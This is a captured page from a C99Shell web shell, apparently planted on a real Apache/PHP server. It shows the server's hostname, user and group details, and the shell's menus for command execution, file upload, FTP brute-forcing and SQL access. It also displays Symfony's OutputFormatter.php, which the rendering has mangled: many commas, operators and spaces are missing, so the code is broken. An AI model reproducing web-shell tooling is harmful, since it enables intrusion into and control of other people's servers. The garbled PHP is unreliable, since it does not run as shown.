!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/php/Symfony/Component/Console/Formatter/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     OutputFormatter.php (7.78 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Console\Formatter;

use 
Symfony\Component\Console\Exception\InvalidArgumentException;

/**
 * Formatter class for console output.
 *
 * @author Konstantin Kudryashov <ever.zet@gmail.com>
 * @author Roland Franssen <franssen.roland@gmail.com>
 */
class OutputFormatter implements WrappableOutputFormatterInterface
{
    private 
$decorated;
    private 
$styles = [];
    private 
$styleStack;

    public function 
__clone()
    {
        
$this->styleStack = clone $this->styleStack;
        foreach (
$this->styles as $key => $value) {
            
$this->styles[$key] = clone $value;
        }
    }

    
/**
     * Escapes "<" and ">" special chars in given text.
     *
     * @return string
     */
    
public static function escape(string $text)
    {
        
$text preg_replace('/([^\\\\]|^)([<>])/''$1\\\\$2'$text);

        return 
self::escapeTrailingBackslash($text);
    }

    
/**
     * Escapes trailing "\" in given text.
     *
     * @internal
     */
    
public static function escapeTrailingBackslash(string $text): string
    
{
        if (
str_ends_with($text'\\')) {
            
$len \strlen($text);
            
$text rtrim($text'\\');
            
$text str_replace("\0"''$text);
            
$text .= str_repeat("\0"$len \strlen($text));
        }

        return 
$text;
    }

    
/**
     * Initializes console output formatter.
     *
     * @param OutputFormatterStyleInterface[] $styles Array of "name => FormatterStyle" instances
     */
    
public function __construct(bool $decorated false, array $styles = [])
    {
        
$this->decorated $decorated;

        
$this->setStyle('error', new OutputFormatterStyle('white''red'));
        
$this->setStyle('info', new OutputFormatterStyle('green'));
        
$this->setStyle('comment', new OutputFormatterStyle('yellow'));
        
$this->setStyle('question', new OutputFormatterStyle('black''cyan'));

        foreach (
$styles as $name => $style) {
            
$this->setStyle($name$style);
        }

        
$this->styleStack = new OutputFormatterStyleStack();
    }

    
/**
     * {@inheritdoc}
     */
    
public function setDecorated(bool $decorated)
    {
        
$this->decorated $decorated;
    }

    
/**
     * {@inheritdoc}
     */
    
public function isDecorated()
    {
        return 
$this->decorated;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setStyle(string $nameOutputFormatterStyleInterface $style)
    {
        
$this->styles[strtolower($name)] = $style;
    }

    
/**
     * {@inheritdoc}
     */
    
public function hasStyle(string $name)
    {
        return isset(
$this->styles[strtolower($name)]);
    }

    
/**
     * {@inheritdoc}
     */
    
public function getStyle(string $name)
    {
        if (!
$this->hasStyle($name)) {
            throw new 
InvalidArgumentException(sprintf('Undefined style: "%s".'$name));
        }

        return 
$this->styles[strtolower($name)];
    }

    
/**
     * {@inheritdoc}
     */
    
public function format(?string $message)
    {
        return 
$this->formatAndWrap($message0);
    }

    
/**
     * {@inheritdoc}
     */
    
public function formatAndWrap(?string $messageint $width)
    {
        
$offset 0;
        
$output '';
        
$openTagRegex '[a-z](?:[^\\\\<>]*+ | \\\\.)*';
        
$closeTagRegex '[a-z][^<>]*+';
        
$currentLineLength 0;
        
preg_match_all("#<(($openTagRegex) | /($closeTagRegex)?)>#ix"$message$matches\PREG_OFFSET_CAPTURE);
        foreach (
$matches[0] as $i => $match) {
            
$pos $match[1];
            
$text $match[0];

            if (
!= $pos && '\\' == $message[$pos 1]) {
                continue;
            }

            
// add the text up to the next tag
            
$output .= $this->applyCurrentStyle(substr($message$offset$pos $offset), $output$width$currentLineLength);
            
$offset $pos \strlen($text);

            
// opening tag?
            
if ($open '/' != $text[1]) {
                
$tag $matches[1][$i][0];
            } else {
                
$tag $matches[3][$i][0] ?? '';
            }

            if (!
$open && !$tag) {
                
// </>
                
$this->styleStack->pop();
            } elseif (
null === $style $this->createStyleFromString($tag)) {
                
$output .= $this->applyCurrentStyle($text$output$width$currentLineLength);
            } elseif (
$open) {
                
$this->styleStack->push($style);
            } else {
                
$this->styleStack->pop($style);
            }
        }

        
$output .= $this->applyCurrentStyle(substr($message$offset), $output$width$currentLineLength);

        return 
strtr($output, ["\0" => '\\''\\<' => '<''\\>' => '>']);
    }

    
/**
     * @return OutputFormatterStyleStack
     */
    
public function getStyleStack()
    {
        return 
$this->styleStack;
    }

    
/**
     * Tries to create new style instance from string.
     */
    
private function createStyleFromString(string $string): ?OutputFormatterStyleInterface
    
{
        if (isset(
$this->styles[$string])) {
            return 
$this->styles[$string];
        }

        if (!
preg_match_all('/([^=]+)=([^;]+)(;|$)/'$string$matches\PREG_SET_ORDER)) {
            return 
null;
        }

        
$style = new OutputFormatterStyle();
        foreach (
$matches as $match) {
            
array_shift($match);
            
$match[0] = strtolower($match[0]);

            if (
'fg' == $match[0]) {
                
$style->setForeground(strtolower($match[1]));
            } elseif (
'bg' == $match[0]) {
                
$style->setBackground(strtolower($match[1]));
            } elseif (
'href' === $match[0]) {
                
$url preg_replace('{\\\\([<>])}''$1'$match[1]);
                
$style->setHref($url);
            } elseif (
'options' === $match[0]) {
                
preg_match_all('([^,;]+)'strtolower($match[1]), $options);
                
$options array_shift($options);
                foreach (
$options as $option) {
                    
$style->setOption($option);
                }
            } else {
                return 
null;
            }
        }

        return 
$style;
    }

    
/**
     * Applies current style from stack to text, if must be applied.
     */
    
private function applyCurrentStyle(string $textstring $currentint $widthint &$currentLineLength): string
    
{
        if (
'' === $text) {
            return 
'';
        }

        if (!
$width) {
            return 
$this->isDecorated() ? $this->styleStack->getCurrent()->apply($text) : $text;
        }

        if (!
$currentLineLength && '' !== $current) {
            
$text ltrim($text);
        }

        if (
$currentLineLength) {
            
$prefix substr($text0$i $width $currentLineLength)."\n";
            
$text substr($text$i);
        } else {
            
$prefix '';
        }

        
preg_match('~(\\n)$~'$text$matches);
        
$text $prefix.preg_replace('~([^\\n]{'.$width.'})\\ *~'"\$1\n"$text);
        
$text rtrim($text"\n").($matches[1] ?? '');

        if (!
$currentLineLength && '' !== $current && "\n" !== substr($current, -1)) {
            
$text "\n".$text;
        }

        
$lines explode("\n"$text);

        foreach (
$lines as $line) {
            
$currentLineLength += \strlen($line);
            if (
$width <= $currentLineLength) {
                
$currentLineLength 0;
            }
        }

        if (
$this->isDecorated()) {
            foreach (
$lines as $i => $line) {
                
$lines[$i] = $this->styleStack->getCurrent()->apply($line);
            }
        }

        return 
implode("\n"$lines);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--